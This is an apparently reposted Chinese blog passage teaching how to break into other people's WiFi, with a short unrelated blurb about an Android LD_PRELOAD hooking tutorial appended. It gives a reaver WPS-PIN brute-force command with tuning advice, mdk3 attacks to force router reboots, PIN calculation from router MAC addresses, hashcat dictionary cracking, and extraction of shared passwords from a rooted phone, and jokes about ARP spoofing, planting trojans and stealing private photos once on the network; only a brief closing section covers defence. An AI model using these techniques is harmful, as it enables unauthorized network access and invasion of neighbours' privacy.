reaver –i mon0 -b 00:11:22:33:44:55 -a -S -d 3 -t 3 -vv -c 6

特别重要的一点:要根据reaver反馈的信息来调整-d和-t参数,如果pin的速度太快,会pin死掉,无限报错,也就是跑死了,除非重启路由器才行。特别是信号差的更要注意这一点。

接着抖一些干货:

磊科和Dlink的某些路由器不能加-S参数来优化,否则不会出正确的pin码。如果有信号跑到99.99%还是没出密码,就可以考虑去掉-S参数。或者要跑reaver之前用wireshark分析下包,判断路由器的品牌。

信号不好的时候,可能会出现正确的pin码验证不成功即漏码,强制指定-n参数即可。

如果实在没把握对节奏pin死了,可以尝试用mdk3来攻击对方路由器,迫使路由器主人重启路由器。

无线路由器前6位MAC地址是C83A35,00B00C(腾达)或081075,081076 (磊科部分可以)的,可以根据MAC后六位算出正确的pin码, 用自带的科学计算器就能准确算出来。

把计算器调为程序员型,选十六进制,比如08:10:76:0F:B3:5C这个MAC地址,取后六位,输入完后选十进制就算出pin码前7位了。然后用-p参数指定7位pin码就可以出密码了,第8位程序会自动补全。

11

12

总结一下,如果是WEP加密,用minidwep挂着一定可以出密码,如果是wpa可以先抓握手包包,然后用hashcat跑字典,同时可以用reaver跑pin码,如果hashcat搞定了就关掉reaver吧,不然你就老老实实等吧,reaver平均速度要半天搞不好要过夜,所以reaver还是适合定点投放啊= =#这里就不重复说inflator的用法了,reaver的界面版,操作更简单了,如果你掌握了命令行的reaver,inflator用起来是毫无压力的。

4.旁门左道

另外补充一个投机取巧的办法,用WiFi万能钥匙获取WiFi密码,前提是已经root的安卓手机。WiFi万能钥匙相信大家不陌生吧,WiFi万能钥匙从服务器获取到别人分享的密码来连接WiFi,断开后就把密码清除了。重点来了,WiFi在连接的过程中密码是保存在本机的/data/misc/wifi/wpa_supplicant.conf上的,我们可以强行终止WiFi万能钥匙进程,那密码就永久保存下来了,这时候用带文件管理器比如re或者es浏览器,打开/data/misc/wifi/wpa_supplicant.conf就能看到密码了。

13

或者装个app吧,搜下WiFi连接管理器,长按显示密码就行了,都需要root权限的。

14

 

到这里就讲的差不多了,如果小伙伴们有想到别的办法欢迎补充。如果你掌握以上的方法,百分之80以上的WiFi加密都是可以轻松突破的,I promise,要不要我给你看下我的WiFi密码本啊;)

5.防范对策

突破这第一道防线之后,你就和对方处于同一局域网了,这时候能干点啥呢,arp欺骗啊,挂马啊,metasploit你懂得,简直没有隐私可言了,咳咳,小心艳照门中招了

科普完了还要说下防破解的对策,毕竟有个不速之客在你的局域网里是很危险的事情,看看E说的女神的下场你就知道了。选择wpa加密不会错,密码要够健壮,弱密码见光死啊,嗯,像wujt@396900*&这样略给力的密码就行~但是千万不要忘记在设置里面把路由器WPS功能关闭掉,tplink 水星之类的路由器设置里面是叫QSS功能~最后记得不要随便分享你的WiFi密码~!能做到以上这几点,理论上你的WiFi是牢不可破的,除非他丫的动用了超级计算机来跑你的密码;)

下集预告~想在别人局域网里面刷下存在感?都说不猥琐的黑客不是好黑客,下集我会给大家讲解在无线局域网里叱咤江湖这件小事~转载自: http://www.91ri.org/8762.html

非虫android hook api | LD_PRELOAD

非虫讲解的如何在Android系统中使用LD_PRELOAD环境变量来  替换 系统api, 实现对系统api流程的修改,HOOK.

 

目录:

LD_PRELOAD原理

Android中的LD_PRELOAD

编写测试代码  -- 以系统api strcmp为例子,实例讲解了在Android中使用LD_PRELOAD来对strcmp进行hook替换的过程. 包括: 需要的全部测试代码, 编译过程, push过程, 运行过程, 验证过程, 以及预期的运行结果.

下载附件:非虫android hook api

原文链接: http://www.kanxue.com/bbs/showthread.php?t=187704